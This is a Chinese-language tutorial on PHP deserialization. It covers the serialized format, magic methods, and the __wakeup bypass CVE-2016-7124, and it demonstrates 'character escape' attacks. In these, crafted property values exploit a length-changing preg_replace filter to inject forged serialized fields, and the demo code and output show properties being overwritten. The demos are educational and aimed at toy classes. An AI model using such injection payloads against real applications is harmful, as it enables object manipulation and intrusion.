PHP反序列化
# PHP反序列化
# 什么是序列化与反序列化
PHP的序列化就是将各种类型的数据对象转换成一定的格式存储,其目的是为了将一个对象通过可保存的字节方式存储起来这样就可以将序列化字节存储到数据库或者文本当中,当需要的时候再通过反序列化获取
serialize() //实现变量的序列化,返回结果为字符串
unserialize() //实现字符串的反序列化,返回结果为变量
2
# 例子
<?php
class Simple{
private $private = "null";
public $public = "null";
protected $protected = "null";
public function set_attribute($private,$public,$protected){
$this->private = $private;
$this->public = $public;
$this->protected = $protected;
}
}
$demo = new Simple();
$demo->set_attribute("private","public","protected");
$serialization = serialize($demo);
echo $serialization;
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
输出结果
O:6:"Simple":3:{s:15:"<0x00>Simple<0x00>private";s:7:"private";s:6:"public";s:6:"public";s:12:"<0x00>*<0x00>protected";s:9:"protected";}
对于不同权限的属性序列化中的结果也会不一样
- public:序列化之后就是最普通的方式,属性名和属性值。
- private:私有权限,表示这个属性是该类所有对象共享的属性,属性名和类的名字在一起。序列化结果:%00类名%属性名
- protected:序列化之后的形式就是%00*%00属性名
另外从结果中也可以发现只有类的属性被序列化,方法并没有被序列化。
# 魔术函数
函数 | 描述 |
---|---|
__construct() | 构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的 |
__destruct() | 析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。使用 exit()终止运行时也会被自动调用 |
__wakeup() | 调用unserialize()方法时会检查是否存在 __wakeup() ,如果存在,则会优先调用 __wakeup() 方法 |
__sleep() | 调用serialize()方法时会被调用 |
__get() | 获取不可访问(private,protect等修饰)或不存在的属性时会被调用 |
__set() | 修改或写入不可访问(private,protect等修饰)或不存在的属性时会被调用 |
__toString() | 类对象被当作一个字符串使用时会被调用 |
__isset() | 对不可访问(private,protect等修饰)属性使用empty()或isset()方法时会被调用 |
__unset() | 对不可访问(private,protect等修饰)属性使用unset()方法时会被调用 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__invoke() | 尝试以调用方法的方式调用一个实例化对象时会被调用 |
# __wakeup失效:CVE-2016-7124
- 影响版本为:PHP 5至5.6.25,PHP 7至 7.0.10
- 漏洞概述:
__wakeup()
魔法函数被绕过,导致执行了一些非预期效果的漏洞 - 漏洞原理: 当对象的属性(变量)数大于实际的个数时,
__wakeup()
魔法函数被绕过
# 反序列化
PHP在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。下例中超出的evil部分并不会被反序列化成功<?php class People{ public $name = 'zephyr'; public $sex = 'boy'; } $sample = new People(); var_dump(serialize($sample)); $str='O:6:"People":2:{s:4:"name";s:6:"zephyr";s:3:"sex";s:3:"boy";}evil'; var_dump(unserialize($str)); ?>
1
2
3
4
5
6
7
8
9
10string(61) "O:6:"People":2:{s:4:"name";s:6:"zephyr";s:3:"sex";s:3:"boy";}" object(People)#2 (2) { ["name"]=> string(6) "zephyr" ["sex"]=> string(3) "boy" }
1
2
3
4
5
6
7当序列化的长度不对应的时候会出现报错
<?php class People{ public $name = 'zephyr'; public $sex = 'boy'; } $str='O:6:"People":2:{s:4:"name";s:6:"zephyr";s:3:"sex";s:4:"boy";}evil'; //单独将boy的长度改为4 var_dump(unserialize($str)); ?>
1
2
3
4
5
6
7
8PHP Notice: unserialize(): Error at offset 59 of 65 bytes in /root/test.php on line 7 bool(false)
1
2可以反序列化类中不存在的元素
<?php class People{ public $name = 'zephyr'; public $sex = 'boy'; } $str='O:6:"People":4:{s:4:"name";s:6:"zephyr";s:3:"sex";s:3:"boy";s:3:"age";s:2:"66";s:7:"country";s:5:"China";}'; var_dump(unserialize($str)); ?>
1
2
3
4
5
6
7
8object(People)#1 (4) { ["name"]=> string(6) "zephyr" ["sex"]=> string(3) "boy" ["age"]=> string(2) "66" ["country"]=> string(5) "China" }
1
2
3
4
5
6
7
8
9
10
# 字符逃逸
- 字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符增多,二是字符减少
- 反序列化字符逃逸的题目,会使用
preg_replace
等函数替换关键字符,会使得关键字符增多或减少
# 字符增多
Demo代码如下
<?php
class People{
public $sex = 'boy';
public $name = 'zephyr';
}
function filter($string){
return preg_replace('/boy/i','girl',$string);
}
$sample = new People();
$str = serialize($sample);
var_dump($str);
$new_str=filter($str);
var_dump($new_str);
var_dump(unserialize($new_str));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
string(61) "O:6:"People":2:{s:3:"sex";s:3:"boy";s:4:"name";s:6:"zephyr";}"
string(62) "O:6:"People":2:{s:3:"sex";s:3:"girl";s:4:"name";s:6:"zephyr";}"
PHP Notice: unserialize(): Error at offset 34 of 62 bytes in /root/test.php on line 14
bool(false)
2
3
4
直接运行是无法正常反序列化的,这里我们的目的是闭合sex属性,间接修改name属性,具体如下
<?php
class People{
public $sex = 'boyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboy";s:4:"name";s:8:"deadbeef";}';
public $name = 'zephyr';
}
function filter($string){
return preg_replace('/boy/i','girl',$string);
}
$sample = new People();
$str = serialize($sample);
var_dump($str);
$new_str=filter($str);
var_dump($new_str);
var_dump(unserialize($new_str));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
string(176) "O:6:"People":2:{s:3:"sex";s:116:"boyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboy";s:4:"name";s:8:"deadbeef";}";s:4:"name";s:6:"zephyr";}"
string(205) "O:6:"People":2:{s:3:"sex";s:116:"girlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirl";s:4:"name";s:8:"deadbeef";}";s:4:"name";s:6:"zephyr";}"
object(People)#2 (2) {
["sex"]=>
string(116) "girlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirl"
["name"]=>
string(8) "deadbeef"
}
2
3
4
5
6
7
8
其中下方序列化代码是我们想要逃逸出来以修改name的代码,长度为29
";s:4:"name";s:8:"deadbeef";}
Demo代码的过滤是每有一个boy就替换为girl,3位替换为4位,每次成功过滤就会多出一个字符,那么此时就再需要输入29个boy,与上面构造的代码:";s:4:"name";s:8:"deadbeef";}
拼接,即:sex的值此时传入的是:boyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboy";s:4:"name";s:8:"deadbeef";}
,这样序列化对应的29位长度在过滤后的序列化时会被全部填充,从而使我们构造的代码";s:4:"name";s:8:"deadbeef";}
成功逃逸,修改了name的值。(因为本例中类中变量的个数为2(O:6:"People":2:
),并且已经成功地解析了2个变量,所以原来正常的序列化数据";s:4:"name";s:6:"zephyr";}
就被直接忽略了)
# 字符减少
Demo代码如下
<?php
class People{
public $sex = 'girl';
public $name = '';
public $country ='China';
}
function filter($string){
return preg_replace('/girl/i','boy',$string);
}
$sample = new People();
$str = serialize($sample);
var_dump($str);
$new_str=filter($str);
var_dump($new_str);
var_dump(unserialize($new_str));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
string(82) "O:6:"People":3:{s:3:"sex";s:4:"girl";s:4:"name";s:0:"";s:7:"country";s:5:"China";}"
string(81) "O:6:"People":3:{s:3:"sex";s:4:"boy";s:4:"name";s:0:"";s:7:"country";s:5:"China";}"
PHP Notice: unserialize(): Error at offset 35 of 81 bytes in /root/test.php on line 15
bool(false)
2
3
4
这个直接运行也是无法正常反序列化的,这里我们的目的核心是修改name、country(主要)属性,具体如下
<?php
class People{
public $sex = 'girlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirl';
public $name = '";s:4:"name";s:6:"Hacker";s:7:"country";s:3:"USA";}';
public $country ='China';
}
function filter($string){
return preg_replace('/girl/i','boy',$string);
}
$sample = new People();
$str = serialize($sample);
var_dump($str);
$new_str=filter($str);
var_dump($new_str);
var_dump(unserialize($new_str));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
string(207) "O:6:"People":3:{s:3:"sex";s:76:"girlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirlgirl";s:4:"name";s:51:"";s:4:"name";s:6:"Hacker";s:7:"country";s:3:"USA";}";s:7:"country";s:5:"China";}"
string(188) "O:6:"People":3:{s:3:"sex";s:76:"boyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboy";s:4:"name";s:51:"";s:4:"name";s:6:"Hacker";s:7:"country";s:3:"USA";}";s:7:"country";s:5:"China";}"
object(People)#2 (3) {
["sex"]=>
string(76) "boyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboyboy";s:4:"name";s:51:""
["name"]=>
string(6) "Hacker"
["country"]=>
string(3) "USA"
}
2
3
4
5
6
7
8
9
10
其中下方序列化代码是我们想要逃逸出来以修改name和country的代码
";s:4:"name";s:6:"Hacker";s:7:"country";s:3:"USA";}
字符减少型就不是看逃逸代码的长度了,这里每一个girl就替换boy,4位替换为3位,每次成功过滤就会减少一个字符,此时我们的目的是让参数一(sex)吃掉整个参数二(name),由参数二(name)伪造序列化代码实现逃逸,所以需要计算闭合两个参数所需要的长度,本例中如下,长度为19
";s:4:"name";s:0:""
此时若在参数一(sex)处输入19个girl,将会把原本的参数二吃掉,接下来由参数二(name)处传入伪造的序列化代码";s:4:"name";s:6:"Hacker";s:7:"country";s:3:"USA";}
,实现逃逸,修改了name与country的值(后面多出的原正常部分序列化代码也还是被直接忽略了)